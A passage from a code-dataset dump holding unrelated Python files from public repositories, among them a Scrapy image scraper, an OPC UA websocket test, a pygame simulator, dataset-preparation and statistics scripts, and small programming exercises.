cid_set_events\n","repo_name":"legiti/pix-dict-api","sub_path":"flask/swagger_server/models/list_cid_set_events_response.py","file_name":"list_cid_set_events_response.py","file_ext":"py","file_size_in_byte":11340,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"35"}
{"seq_id":"28646141674","text":"# 直接显示图片的漫画、插画类分享网站\n\n'''\n    跟网站结构相关的分析全抽离在这里，当网站改版时可以单独更新，而不影响主线策略\n'''\nimport time\nimport scrapy\nfrom scrapy.contrib.loader import ItemLoader\n\nfrom .url_setting import *\nfrom .mySetting import *\n\nclass TrimAll(object):\n    def __call__(self, values):\n        vlist =[]\n        for s in values:\n            vlist.append(s.replace(' ','').replace('\\r\\n',''))\n        return vlist\n\n#主入口的主体 用于循环\ndef GetMainCrycle(response):\n    return response.css('.k_list-txt')\n\n#主入口页面的翻页、找下一页\ndef Get_NextPage(response):\n    next_url = response.css('.k_pape').xpath('a[text()=\"下一页\"]/@href').extract()\n    if len(next_url)>0:\n        return scheme+allowed_domains[0]+next_url[0]\n    else:\n        return ''\n\n#点击进去的地址\ndef GetContent_URL(item_selector):\n    content_url = item_selector.xpath('./ul/li/a/@href').extract()\n    if len(content_url) > 0 :\n        return scheme+allowed_domains[0]+content_url[0]\n    else:\n        return ''\n\n# 爬文章列表 取标题、预览、文章实际地址、发起日期等信息\ndef Loader_index(self,item_selector):\n    l = ItemLoader(item={}, selector = item_selector)\n    l.add_xpath('title', './ul/li/a/text()')\n    l.add_xpath('url', './ul/li/a/@href')\n    return l.load_item()\n\n\n# 爬文章页 取标题、封面、预览、下载地址、发起日期信息\ndef Loader_content(response):\n    l = ItemLoader(item={}, response = response)    \n    sub_title=''\n    if len(l.get_xpath('//*[@class=\"pagenow\"]/text()'))>=1:\n        sub_title += '-'+l.get_xpath('//*[@class=\"pagenow\"]/text()')[0]\n    l.add_value('title',l.get_xpath('//*[@class=\"b_list-1a-1c\"]/text()')[0]+sub_title)\n    l.add_value('src_url',response.url)\n    content_img = l.get_xpath('//*[@class=\"content-img\"]/p/img/@src')\n    l.add_value('content',content_img)\n    l.add_value('image_urls',content_img)\n    print('正下载图片：',content_img)\n    time.sleep(len(content_img))\n    return l.load_item()\n\n","repo_name":"C0618C/PyWebCrawler","sub_path":"website/ctLoader.py","file_name":"ctLoader.py","file_ext":"py","file_size_in_byte":2073,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"70704175142","text":"import json\n\nfrom ..web_gateway_testcase import WebGatewayTestCase\n\n\nclass TestDataChangeNoitfy(WebGatewayTestCase):\n\n    def setUp(self):\n        WebGatewayTestCase.setUp(self)\n\n        #\n        # send create subscription request to the opc ua server\n        #\n        req = {\n            \"Header\": {\n                \"MessageType\": \"GW_CreateSubscriptionRequest\",\n                \"ClientHandle\": \"client-handle\",\n                \"SessionId\": self.sessionId\n            },\n            \"Body\": {\n            }\n\n        }\n        print(\"SEND: \", json.dumps(req, indent=4))\n        self.ws.send(json.dumps(req))\n\n        #\n        # receive create subscription response from the opc ua server\n        #\n        str = self.ws.recv()\n        print(\"RECV: \", str)\n        res = json.loads(str)\n        self.subscriptionId = res['Body']['SubscriptionId']\n\n        #\n        # send create monitored items request\n        #\n        req = {\n            \"Header\": {\n                \"MessageType\": \"GW_CreateMonitoredItemsRequest\",\n                \"ClientHandle\": \"client-handle\",\n                \"SessionId\": self.sessionId\n            },\n            \"Body\": {\n                \"SubscriptionId\": self.subscriptionId,\n                \"ItemsToCreate\": [\n                    {\n                        \"ItemToMonitor\": {\n                            \"NodeId\": {\n                                \"Namespace\": \"3\",\n                                \"Id\": \"218\"\n                            }\n                        },\n                        \"RequestedParameters\": {\n                            \"ClientHandle\": \"4712\",\n                            \"SamplingInterval\": \"1000\"\n                        }\n                    }\n                ]\n            }\n\n        }\n        print(\"SEND: \", json.dumps(req, indent=4))\n        self.ws.send(json.dumps(req))\n\n        #\n        # receive monitored create items response\n        #\n        str = self.ws.recv()\n        print(\"RECV: \", str)\n        res = json.loads(str)\n        self.monitoredItemId = res['Body']['Results'][0]['MonitoredItemId']\n\n    def tearDown(self):\n        #\n        # send delete monitored items request\n        #\n        req = {\n            \"Header\": {\n                \"MessageType\": \"GW_DeleteMonitoredItemsRequest\",\n                \"ClientHandle\": \"client-handle\",\n                \"SessionId\": self.sessionId\n            },\n            \"Body\": {\n                \"SubscriptionId\": self.subscriptionId,\n                \"MonitoredItemIds\": [self.monitoredItemId]\n            }\n\n        }\n        print(\"SEND: \", json.dumps(req, indent=4))\n        self.ws.send(json.dumps(req))\n\n        #\n        # receive delete monitored items response\n        #\n        str = self.ws.recv()\n        print(\"RECV: \", str)\n\n        #\n        # send delete subscriptions request to the opc ua server\n        #\n        req = {\n            \"Header\": {\n                \"MessageType\": \"GW_DeleteSubscriptionsRequest\",\n                \"ClientHandle\": \"client-handle\",\n                \"SessionId\": self.sessionId\n            },\n            \"Body\": {\n                \"SubscriptionIds\": [self.subscriptionId]\n            }\n\n        }\n        print(\"SEND: \", json.dumps(req, indent=4))\n        self.ws.send(json.dumps(req))\n\n        #\n        # receive delete subscriptions response from the opc ua server\n        #\n        str = self.ws.recv()\n        print(\"RECV: \", str)\n        res = json.loads(str)\n\n        WebGatewayTestCase.tearDown(self)\n\n    def test_create_delete(self):\n\n        #\n        # receive data change request\n        #\n        for i in range(1, 5):\n            str = self.ws.recv()\n            print(\"RECV: \", str)\n            res = json.loads(str)\n            self.assertEqual(res['Header']['MessageType'], \"GW_DataChangeNotify\")\n            self.assertEqual(res['Header']['ClientHandle'], \"test_create_delete\") \n            self.assertEqual(res['Header']['SessionId'], self.sessionId)\n            self.assertEqual(res['Body']['ClientHandleData'], \"4712\")\n            self.assertIsNotNone(res['Body']['Value'])\n","repo_name":"ASNeG/OpcUaWebServer","sub_path":"ftest/WebGateway/MonitoredItemService/test_data_change.py","file_name":"test_data_change.py","file_ext":"py","file_size_in_byte":4052,"program_lang":"python","lang":"en","doc_type":"code","stars":28,"dataset":"github-code","pt":"35"}
{"seq_id":"4565151348","text":"#tính tổng các số nguyên tố\r\ndef songuyento(n):\r\n    count = 0\r\n    s =0 \r\n    for i in range(1, n + 1):\r\n        if n % i == 0:\r\n            s=s+i\r\n            count += 1\r\n    if count == 2:\r\n        return s\r\n    return \"không phải là số nguyên tố\"\r\nn=int(input(\"nhap n= \"))\r\nprint(\"tong cac so nguyen to la: \",songuyento(n))\r\n","repo_name":"minhkhanh268/python_basic","sub_path":"buổi 3/BT8.py","file_name":"BT8.py","file_ext":"py","file_size_in_byte":347,"program_lang":"python","lang":"vi","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"7532224040","text":"import pygame\nimport time\n\nclass TimedTransition(object):\n    TRANSITIONS_TIMER = pygame.USEREVENT+1\n    transition_list = []\n    min_interval = 0\n\n    def __init__(self, end_function,\n                 target_object=None, target_property=None, update_interval=None, target_value=None, max_time=None):\n        self.target_object = target_object()\n        TimedTransition.transition_list.append(lambda: self.update)\n        self.last_check = 0\n        self.start_time = time.time()\n        self.next_check = self.start_time + update_interval\n        self.update_interval = update_interval\n\n        current_value = getattr(self.target_object, 'target_property')\n        self.sign = target_value - current_value\n        if TimedTransition.min_interval > self.update_interval:\n            TimedTransition.min_interval = self.update_interval\n            pygame.time.set_timer(self.TRANSITIONS_TIMER, self.update_interval)\n\n\n    def update(self):\n        current_time = time.time()\n        if self.next_check >= current_time:\n            current_value = getattr(self.target_object, 'target_property')\n            diff = current_value - self.target_value\n            current_value += max_time/update_interval\n\n\n    @staticmethod\n    def on_transation_timer( event):\n\n        if event.type != TimedTransition.TRANSITIONS_TIMER:\n            return\n        to_remove = []\n        for event in TimedTransition.transition_list:\n            if not event.update():\n                to_remove.append(event)\n\n        for event in to_remove:\n            TimedTransition.transition_list.remove(event)\n","repo_name":"joaompinto/DragonWalk","sub_path":"dragonwalk/gfx/transition.py","file_name":"transition.py","file_ext":"py","file_size_in_byte":1581,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"13325811535","text":"#Simple truck driving program\n#control the truck with the arrow keys. \nimport sys, pygame, math, time, TruckSimulator as tsim\n\npygame.init()\npi = math.pi\nsize = width, height = 1000, 500\nwhite = 255,255,255\nred = 255,0,0\nscreen = pygame.display.set_mode(size)\ngoal = (0, int(height/2))\nsteer = 0\nspeed = 0\nmyTruck = tsim.truck(400, 255, (pi), 0, red)\n\n\nwhile(1):\n       for event in pygame.event.get():\n              if event.type == pygame.QUIT: sys. exit()\n              if event .type == pygame.KEYDOWN:\n                     if event.key == pygame.K_LEFT and steer > -18:\n                            steer -= 2\n                     if event.key == pygame.K_RIGHT and steer < 18:\n                            steer += 2\n                     if event.key == pygame.K_UP and speed < 22:\n                            speed += 2\n                     if event.key == pygame.K_DOWN and speed > -22:\n                            speed -= 2\n       nsteer = math.radians(steer)\n       tsim.drive(myTruck,speed,nsteer)\n       tsim.drawTruck(myTruck,goal,screen,1)\n       time.sleep(0.1)\n       \n","repo_name":"NiklasMelton/research_code","sub_path":"TruckBackerUpper/tsimTest.py","file_name":"tsimTest.py","file_ext":"py","file_size_in_byte":1084,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"11524982965","text":"import pandas as pd\nfrom sklearn.preprocessing import OrdinalEncoder\nfrom sklearn.model_selection import train_test_split\nfrom numpy import savetxt\nimport numpy as np\nimport pickle\nimport matplotlib.pyplot as plt\nimport collections\nfrom scipy.io import arff\nimport scipy.stats\n\ndesired_width = 320\npd.set_option('display.width', desired_width)\npd.set_option('display.max_columns', 10)\n\n\ndef get_pie_chart_values(target_variable):\n    counter = collections.Counter(target_variable)\n    labels = ['Low Salary', 'High Salary']\n    sizes = [counter['Low'], counter['High']]\n    return labels, sizes\n\n\ndef pie_chart(target_variable):\n    labels, sizes = get_pie_chart_values(target_variable)\n    colors = ['#66b3ff', '#ffcc99']\n    fig1, ax1 = plt.subplots()\n    patches, texts, autotexts = ax1.pie(sizes, colors=colors, labels=labels, autopct='%1.1f%%', startangle=90)\n    for text in texts:\n        text.set_color('grey')\n    for autotext in autotexts:\n        autotext.set_color('grey')\n    # Equal aspect ratio ensures that pie is drawn as a circle\n    ax1.axis('equal')\n    plt.tight_layout()\n    plt.show()\n\n\ndef ordinal_encode(df, categories, column):\n    encoder = OrdinalEncoder(categories=[categories],\n                             handle_unknown='use_encoded_value', unknown_value=np.nan)\n    df[df.columns[column]] = encoder.fit_transform(df.loc[:, [df.columns[column]]])\n    return df[df.columns[column]]\n\n\ndef store_sets(X_train, X_test, y_train, y_test, columns):\n    file_path_X_train = '../../data/processed/X_train.csv'\n    file_path_y_train = '../../data/processed/y_train.csv'\n    file_path_X_test = '../../data/processed/X_test.csv'\n    file_path_y_test = '../../data/processed/y_test.csv'\n    file_path_columns_names = '../../data/processed/columns_names.pickle'\n\n    savetxt(file_path_X_train, X_train, delimiter=',')\n    savetxt(file_path_y_train, y_train, delimiter=',')\n    savetxt(file_path_X_test, X_test, delimiter=',')\n    savetxt(file_path_y_test, y_test, delimiter=',')\n\n    columns = columns[:-1]\n    # print(\"Features Names\", columns)\n    open_file = open(file_path_columns_names, \"wb\")\n    pickle.dump(columns, open_file)\n    open_file.close()\n\n\ndef store_vehicle_sets(X, Y, X_train, X_test, y_train, y_test):\n    file_path_X = '../../data/interim/vehicle/X.csv'\n    file_path_y = '../../data/interim/vehicle/Y.csv'\n    file_path_X_train = '../../data/interim/vehicle/X_train.csv'\n    file_path_y_train = '../../data/interim/vehicle/y_train.csv'\n    file_path_X_test = '../../data/interim/vehicle/X_test.csv'\n    file_path_y_test = '../../data/interim/vehicle/y_test.csv'\n\n    savetxt(file_path_X, X, delimiter=',')\n    savetxt(file_path_y, Y, delimiter=',')\n    savetxt(file_path_X_train, X_train, delimiter=',')\n    savetxt(file_path_y_train, y_train, delimiter=',')\n    savetxt(file_path_X_test, X_test, delimiter=',')\n    savetxt(file_path_y_test, y_test, delimiter=',')\n\n\ndef x_y_split(df):\n    # print(\"Columns\", df.columns)\n    # Separating the target variable\n    X = df.values[:, 0:(len(df.columns) - 1)]\n    Y = df.values[:, -1]\n    # print(\"X\", X)\n    # print(\"Y\", Y)\n    return X, Y\n\n\ndef x_y_train_test_split_and_store(df, test_size):\n    X, Y = x_y_split(df)\n    file_path_X = '../../data/processed/X.csv'\n    file_path_y = '../../data/processed/y.csv'\n    savetxt(file_path_X, X, delimiter=',')\n    savetxt(file_path_y, Y, delimiter=',')\n\n    # Splitting the dataset into train and test\n    X_train, X_test, y_train, y_test = train_test_split(X, Y,\n                                                        test_size=test_size,\n                                                        random_state=100)\n    store_sets(X_train, X_test, y_train, y_test, df.columns)\n    return X, Y, X_train, X_test, y_train, y_test\n\n\ndef vehicle_x_y_train_test_split_and_store(df, test_size):\n    X, Y = x_y_split(df)\n    # Splitting the dataset into train and test\n    X_train, X_test, y_train, y_test = train_test_split(X, Y,\n                                                        test_size=test_size,\n                                                        random_state=100)\n    store_vehicle_sets(X, Y, X_train, X_test, y_train, y_test)\n    return X, Y, X_train, X_test, y_train, y_test\n\n\ndef store_validation_sets(X_validation, y_validation):\n    file_path_X_validation = '../../data/processed/X_validation.csv'\n    file_path_y_validation = '../../data/processed/y_validation.csv'\n    savetxt(file_path_X_validation, X_validation, delimiter=',')\n    savetxt(file_path_y_validation, y_validation, delimiter=',')\n\n\ndef x_y_validation_split_and_store(df):\n    X, Y = x_y_split(df)\n    store_validation_sets(X, Y)\n\n\ndef load_data():\n    dict = {}\n    list_files = ['training_set', 'validation_set',\n                  'validation_set_decision_tree_pruning',\n                  'test_set_naive_bayes']\n    for file in list_files:\n        file_path = f'../../data/raw/{file}.csv'\n        df = pd.read_csv(file_path)\n        del df['Instance']\n        # check_dataset(df)\n        dict[file] = df\n    df_training_set = dict['training_set']\n    df_validation_set = dict['validation_set']\n    df_validation_set_decision_tree_pruning = dict['validation_set_decision_tree_pruning']\n    df_test_set_naive_bayes = dict['test_set_naive_bayes']\n\n    return df_training_set, df_validation_set, df_validation_set_decision_tree_pruning, df_test_set_naive_bayes\n\n\ndef store_x_test_set(df, file_name):\n    # delete target column with NaNs\n    del df[df.columns[-1]]\n    file_path_test_set = f'../../data/processed/{file_name}.csv'\n    savetxt(file_path_test_set, df, delimiter=',')\n\n\ndef encode_sets(df_training_set, df_validation_set, df_validation_set_decision_tree_pruning, df_test_set_naive_bayes):\n    df = df_training_set.append(df_validation_set)\n    df = df.append(df_validation_set_decision_tree_pruning)\n    df = df.append(df_test_set_naive_bayes)\n    df_features = pd.get_dummies(df[[df.columns[0],\n                                     df.columns[1]]],\n                                 prefix={'Education Level': 'education_level',\n                                         'Career': 'career'},\n                                 drop_first=True)\n    df_features[df.columns[2]] = ordinal_encode(df, ['Less than 3', '3 to 10', 'More than 10'], 2)\n    df_features[df.columns[-1]] = ordinal_encode(df, ['Low', 'High'], 3)\n    df_features.reset_index(drop=True)\n    df_training_set = df_features.iloc[0:len(df_training_set)]\n    df_validation_set = df_features.iloc[len(df_training_set):(len(df_training_set) +\n                                                               len(df_validation_set))]\n\n    df_validation_set_decision_tree_pruning = df_features.iloc[(len(df_training_set) +\n                                                                len(df_validation_set)):(len(df_training_set) +\n                                                                                         len(df_validation_set) +\n                                                                                         len(df_validation_set_decision_tree_pruning))]\n    df_test_set_naive_bayes = df_features.iloc[(len(df_training_set) +\n                                                len(df_validation_set) +\n                                                len(df_validation_set_decision_tree_pruning)):]\n\n    return df_training_set, df_validation_set, df_validation_set_decision_tree_pruning, df_test_set_naive_bayes\n\n\ndef split_and_store_sets(df_training_set, df_validation_set,\n                         df_test_set_decision_tree_pruning,  # same as validation set.\n                         df_test_set_naive_bayes, test_size):\n    x_y_train_test_split_and_store(df_training_set, test_size)  # first tree\n    x_y_validation_split_and_store(df_validation_set)  # pruning tree\n    store_x_test_set(df_test_set_naive_bayes, 'x_test_set_naive_bayes')\n\n\ndef load_salary_sets():\n    df_training_set, df_validation_set, df_validation_set_decision_tree_pruning, df_test_set_naive_bayes = load_data()\n    pie_chart(df_training_set[df_training_set.columns[-1]])\n\n    print(df_training_set)\n    print(df_validation_set)\n    print(df_validation_set_decision_tree_pruning)\n    print(df_test_set_naive_bayes)\n\n    df_training_set, df_validation_set, df_validation_set_decision_tree_pruning, \\\n    df_test_set_naive_bayes = encode_sets(\n        df_training_set,\n        df_validation_set,\n        df_validation_set_decision_tree_pruning,\n        df_test_set_naive_bayes)\n\n    print(df_training_set)\n    print(df_validation_set)\n    print(df_validation_set_decision_tree_pruning)\n    print(df_test_set_naive_bayes)\n\n    TEST_SIZE = 0.3\n    split_and_store_sets(df_training_set,\n                         df_validation_set,\n                         df_validation_set_decision_tree_pruning,\n                         df_test_set_naive_bayes, TEST_SIZE)\n\n\ndef load_vehicle_set():\n    file_path = f'../../data/raw/veh-prime.arff'\n    data = arff.loadarff(file_path)\n    df = pd.DataFrame(data[0])\n    return df\n\n\ndef encode_class_and_store(df):\n    replace_values = {b'noncar': 0, b'car': 1}\n    df[df.columns[-1]] = df[df.columns[-1]].replace(replace_values)\n    file_path_vehicle_df = '../../data/interim/vehicle/vehicle_df.pickle'\n    open_file = open(file_path_vehicle_df, \"wb\")\n    pickle.dump(df, open_file)\n    open_file.close()\n    return df\n\n\ndef calculate_correlation(df):\n    feature_list = df.columns[:-1]\n    target_variable = df.columns[-1]\n    dict = {}\n    for feature in feature_list:\n        # [0] because it returns first r and p-value.\n        dict[feature] = scipy.stats.pearsonr(df[feature], df[target_variable])[0]\n    return dict\n\n\ndef list_features_from_highest_correlation(df):\n    dict_correlation = calculate_correlation(df)\n    dict_correlation = {k: abs(v) for k, v in\n                        sorted(dict_correlation.items(), key=lambda item: abs(item[1]), reverse=True)}\n    print(\"The correlation of the features with the target variable (car or not car), from highest absolute \"\n          \"correlation to \"\n          \"lowest is: \\n\", dict_correlation)\n\n    features_correlation = pd.DataFrame(dict_correlation.items(), columns=['Features', 'Pearson Correlation'])\n    file_path_dict_correlation = '../../data/interim/vehicle/features_correlation.pickle'\n    open_file = open(file_path_dict_correlation, \"wb\")\n    pickle.dump(features_correlation, open_file)\n    open_file.close()\n\n\ndef load_encode_and_calculate_correlation_vehicle_set():\n    df = load_vehicle_set()\n    df = encode_class_and_store(df)\n    list_features_from_highest_correlation(df)\n    return df\n\n\ndef process_vehicle_data():\n    df_training_set = load_encode_and_calculate_correlation_vehicle_set()\n    test_size = 0.3\n    vehicle_x_y_train_test_split_and_store(df_training_set, test_size)\n\n\ndef main():\n    load_salary_sets()\n    process_vehicle_data()\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"gjordj/machine-learning","sub_path":"data mining/decision tree_KNN_Naive Bayes/src/data/make_dataset.py","file_name":"make_dataset.py","file_ext":"py","file_size_in_byte":10871,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"30509910740","text":"from ElastiSim_Statistics import plot_jobs_gantt, plot_node_utilization\nimport csv\n\n\ndef get_csv_dict(path: str):\n    try:\n        with open(path) as f:\n            return [row for row in csv.DictReader(f)]\n    except Exception as error:\n        print(\"Unable to calculate metrics, file %s missing\", path)\n    return []\n\n\ndef avg(l, div=None, default=None, tuple=None):\n    if div is None:\n        div = len(l)\n    if len(l) == 0 or div == 0:\n        return default\n    if tuple is not None:\n        l = [i[tuple] for i in l]\n    return float(sum(l)) / float(div)\n\n\ndef generate_statistics_figures(path, scaling_factor=1):\n    def execute(func, path, *in_csv, scaling_factor=1):\n        out_path = path + func.__name__ + \".pdf\"\n        in_path = [path + i + \".csv\" for i in in_csv]\n        if len(in_path) == 1:\n            func(in_path[0]).write_image(out_path, format=\"pdf\", scale=scaling_factor)\n        else:\n            func(in_path).write_image(out_path, format=\"pdf\", scale=scaling_factor)\n\n    # execute(plot_system_wide_cpu, path, \"cpu_utilization\")\n    # execute(plot_network_activity, path, \"network_activity\")\n    # execute(plot_pfs_utilization, path, \"pfs_utilization\")\n    # execute(plot_utilization, path, \"cpu_utilization\", \"network_activity\", \"pfs_utilization\")\n    # execute(plot_cpu_per_node, path, \"cpu_utilization\")\n    # execute(plot_jobs_box, path, \"job_statistics\")\n    # execute(plot_jobs_violin, path, \"job_statistics\")\n    execute(plot_jobs_gantt, path, \"job_statistics\", scaling_factor=scaling_factor)\n    execute(\n        plot_node_utilization, path, \"node_utilization\", scaling_factor=scaling_factor\n    )\n\n\n# calculate job statistics\ndef generate_job_statistics(path: str, metrics: dict):\n    csv_dict = get_csv_dict(path)\n    if len(csv_dict) == 0:\n        return\n\n    total_runtime = max(float(r[\"End Time\"]) for r in csv_dict)\n    metrics[\"total_runtime\"] = total_runtime\n\n    total_wait_time = sum(float(r[\"Wait Time\"]) for r in csv_dict)\n    metrics[\"average_wait_time\"] = total_wait_time / len(csv_dict)\n\n    total_turnaround_time = sum(float(r[\"Turnaround Time\"]) for r in csv_dict)\n    metrics[\"average_turnaround_time\"] = total_turnaround_time / len(csv_dict)\n\n    total_makespan = sum(float(r[\"Makespan\"]) for r in csv_dict)\n    metrics[\"average_makespan\"] = total_makespan / len(csv_dict)\n\n    job_amount = max(int(r[\"ID\"]) for r in csv_dict)\n    malleable_job_amount = sum(1 if r[\"Type\"] == \"malleable\" else 0 for r in csv_dict)\n    return job_amount, malleable_job_amount\n\n\n# calculate node statistics\ndef generate_node_statistics(path: str, metrics: dict, end_node_utilization_threshold=0.9):\n    csv_dict = get_csv_dict(path)\n    if len(csv_dict) == 0:\n        return\n\n    node_usage = dict()\n    node_state = dict()\n    for row in csv_dict:\n        node = row[\"Node\"]\n        time = float(row[\"Time\"])\n        current_state = node_state.setdefault(node, (0, \"free\"))\n        if current_state[1] == \"allocated\":\n            allocation_time = time - current_state[0]\n            node_usage[node] = node_usage.setdefault(node, 0) + allocation_time\n        node_state[node] = (time, row[\"State\"])\n\n    node_amount = len(node_usage)\n    avg_node_utilization = (sum(v for v in node_usage.values()) / node_amount if node_amount != 0 else 0)\n    if \"total_runtime\" in metrics and metrics[\"total_runtime\"] is not None:\n        total_runtime = metrics[\"total_runtime\"]\n        metrics[\"average_node_utilization\"] = avg_node_utilization / total_runtime\n\n    last_max = None\n    current_max = node_amount\n    for row in csv_dict:\n        current_max += 1 if row[\"State\"] != \"free\" else -1\n        if current_max > node_amount * end_node_utilization_threshold:\n            last_max = float(row[\"Time\"])\n    metrics[\"end_of_max\"] = last_max\n\n\n# calculate scheduler event amounts, average node amount per event, average event amount per job\ndef generate_event_statistics(path: str, metrics: dict, job_amount, malleable_amount=None):\n    csv_dict = get_csv_dict(path)\n    if len(csv_dict) == 0:\n        return\n\n    # event: (event_amount : int, avg nodes per event : list, avg events per job : dict)\n    event_dict = {\"SHRINK\": [0, [], dict()], \"EXPAND\": [0, [], dict()]}\n    for row in csv_dict:\n        event, nodes, job = (row[\"Event\"], row[\"Nodes\"], row[\"Jobs\"])\n        if event not in event_dict:\n            continue\n\n        node_amount = nodes.count(\"N\")\n        event_dict[event][0] += 1\n        event_dict[event][1].append(node_amount)\n        if job not in event_dict[event][2]:\n            event_dict[event][2][job] = 0\n        event_dict[event][2][job] += 1\n\n    for event_type, vals in event_dict.items():\n        event_dict[event_type][1] = avg(vals[1], default=0)\n        event_dict[event_type][2] = avg(\n            vals[2].values(), div=malleable_amount or job_amount, default=0\n        )\n\n    metrics[\"shrink_event\"] = event_dict[\"SHRINK\"]\n    metrics[\"expand_event\"] = event_dict[\"EXPAND\"]\n\n\ndef generate_statistics(path):\n    metrics = dict()\n    job_amount, malleable_job_amount = generate_job_statistics(path + \"job_statistics.csv\", metrics)\n    generate_node_statistics(path + \"node_utilization.csv\", metrics)\n    generate_event_statistics(path + \"event.csv\", metrics, malleable_job_amount)\n    return metrics\n","repo_name":"projectwagomu/MalleableJobScheduling","sub_path":"scripts/output_evaluation/generateStatistic.py","file_name":"generateStatistic.py","file_ext":"py","file_size_in_byte":5266,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"34108079071","text":"import random\nimport os\nimport errno\nimport functools\nimport socket\nimport fcntl\nimport struct\nimport array\n \n\nfrom machination.exceptions import InvalidArgumentNumberError\nfrom machination.exceptions import ArgumentValidationError\n\ndef ordinal(num):\n    '''\n    Returns the ordinal number of a given integer, as a string.\n    eg. 1 -> 1st, 2 -> 2nd, 3 -> 3rd, etc.\n    '''\n    if 10 <= num % 100 < 20:\n        return '{0}th'.format(num)\n    else:\n        val = {1 : 'st', 2 : 'nd', 3 : 'rd'}.get(num % 10, 'th')\n        return '{0}{1}'.format(num, val)\n    \ndef accepts(*accepted_arg_types):\n    '''\n    A decorator to validate the parameter types of a given function.\n    It is passed a tuple of types. eg. (<type 'tuple'>, <type 'int'>)\n \n    Note: It doesn't do a deep check, for example checking through a\n          tuple of types. The argument passed must only be types.\n    '''\n    def accept_decorator(validate_function):\n        # Check if the number of arguments to the validator\n        # function is the same as the arguments provided\n        # to the actual function to validate. We don't need\n        # to check if the function to validate has the right\n        # amount of arguments, as Python will do this\n        # automatically (also with a TypeError).\n        @functools.wraps(validate_function)\n        def decorator_wrapper(*function_args, **function_args_dict):\n            if len(accepted_arg_types) is not len(accepted_arg_types):\n                raise InvalidArgumentNumberError(validate_function.__name__)\n \n            # We're using enumerate to get the index, so we can pass the\n            # argument number with the incorrect type to ArgumentValidationError.\n            for arg_num, (actual_arg, accepted_arg_type) in enumerate(zip(function_args, accepted_arg_types)):\n                              \n                if accepted_arg_type != None and not isinstance(actual_arg,accepted_arg_type):\n                    ord_num = ordinal(arg_num + 1)\n                    raise ArgumentValidationError(ord_num,\n                                                  validate_function.__name__,\n                                                  accepted_arg_type)\n \n            return validate_function(*function_args)\n        return decorator_wrapper\n    return accept_decorator\n\n\ndef listPath(d):\n    if(os.path.exists(d)):\n        return [os.path.join(d, f) for f in os.listdir(d)]\n    else:\n        return []\n    \ndef randomMAC():\n    mac = [ 0x00, 0x16, 0x3e,\n        random.randint(0x00, 0x7f),\n        random.randint(0x00, 0xff),\n        random.randint(0x00, 0xff) ]\n    return ':'.join(map(lambda x: \"%02x\" % x, mac))\n    \ndef mkdir_p(path):\n    try:\n        os.makedirs(path)\n    except OSError as exc:\n        if exc.errno == errno.EEXIST and os.path.isdir(path):\n            pass\n        else: raise\n\ndef demote(user_uid, user_gid):\n    def result():\n        os.setgid(user_gid)\n        os.setuid(user_uid)\n    return result\n  \n\ndef getAllNetInterfaces():\n    max_possible = 128  # arbitrary. raise if needed.\n    vals = max_possible * 32\n    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n    names = array.array('B', '\\0' * vals)\n    outbytes = struct.unpack('iL', fcntl.ioctl(\n        s.fileno(),\n        0x8912,  # SIOCGIFCONF\n        struct.pack('iL', vals, names.buffer_info()[0])\n    ))[0]\n    namestr = names.tostring()\n    lst = []\n    for i in range(0, outbytes, 40):\n        name = namestr[i:i+16].split('\\0', 1)[0]\n        if name != \"lo\":\n          lst.append(name)\n    return lst\n \n","repo_name":"aacebedo/machination","sub_path":"src/share/machination/python/machination/helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":3532,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"}
{"seq_id":"34776369224","text":"# 백준 9613\n# 실버 3 / GCD\nfrom itertools import combinations\nimport sys\nT = int(sys.stdin.readline().strip())\nfor _ in range(T):\n    data = list(map(int,sys.stdin.readline().split()))\n    case = list(combinations(data[1:], 2))\n    result = 0\n    for item in case :\n        sub_result = 1\n        small_num =min(item[0],item[1])\n        for i in range(small_num, 1, -1):\n            if item[0] % i ==0 and item[1] % i == 0:\n                sub_result *= i\n                break\n        result += sub_result\n    print(result)","repo_name":"leeyej-i/algorithm","sub_path":"Mathematics/9613.py","file_name":"9613.py","file_ext":"py","file_size_in_byte":528,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"38892052962","text":"import numpy as np\nimport pandas as pd\nfrom scipy import stats\nfrom sklearn import datasets\nfrom sklearn.model_selection import KFold\nfrom sklearn.model_selection import GridSearchCV\nfrom sklearn.gaussian_process import kernels as sk_kern\nfrom sklearn.gaussian_process import GaussianProcessRegressor\nfrom sklearn import preprocessing\nfrom sklearn.ensemble import RandomForestRegressor\nfrom statistics import mean\nimport sys\n\n# python corr_run.py INPUT_PATH SEED\n# ex) python corr_run.py ../Input/ddG.csv 1\nargs = sys.argv\nINPUT_PATH = args[1]\nSEED = int(args[2])\nNUM_SPLIT = 4\nCONS4 = ['SIE-Scwrlmut', 'Rosmut', 'FoldXB', 'FoldXS', 'EXPT']\nCONS3 = ['SIE-Scwrlmut', 'Rosmut', 'FoldXS', 'EXPT']\nFI4 = ['SIE-Scwrlmut', 'Rosmut', 'DS-B', 'mCSM-AB', 'EXPT']\n\n\ndef standardization(df):\n    y = df['EXPT']\n    X = df.drop('EXPT', axis=1)\n    X = (X - X.values.mean()) / X.values.std(ddof=0)\n    df = pd.concat([X, y], axis=1)\n    return df\n\n\ndef calc_gpr(df, kf):\n    GP_corr_list = []\n    df_gpr = df.copy()\n    df_gpr = standardization(df_gpr)  # standardization\n    for train, test in kf.split(df_gpr):\n        kernel = (sk_kern.RBF() +\n                  sk_kern.ConstantKernel() +\n                  sk_kern.WhiteKernel())\n        \n\n        # separeting data\n        train_df = df_gpr.iloc[train]\n        test_df = df_gpr.iloc[test]\n        train_X = train_df.drop('EXPT', axis=1)\n        train_y = train_df['EXPT']\n        test_X = test_df.drop('EXPT', axis=1)\n        test_y = test_df['EXPT']\n\n        # training\n        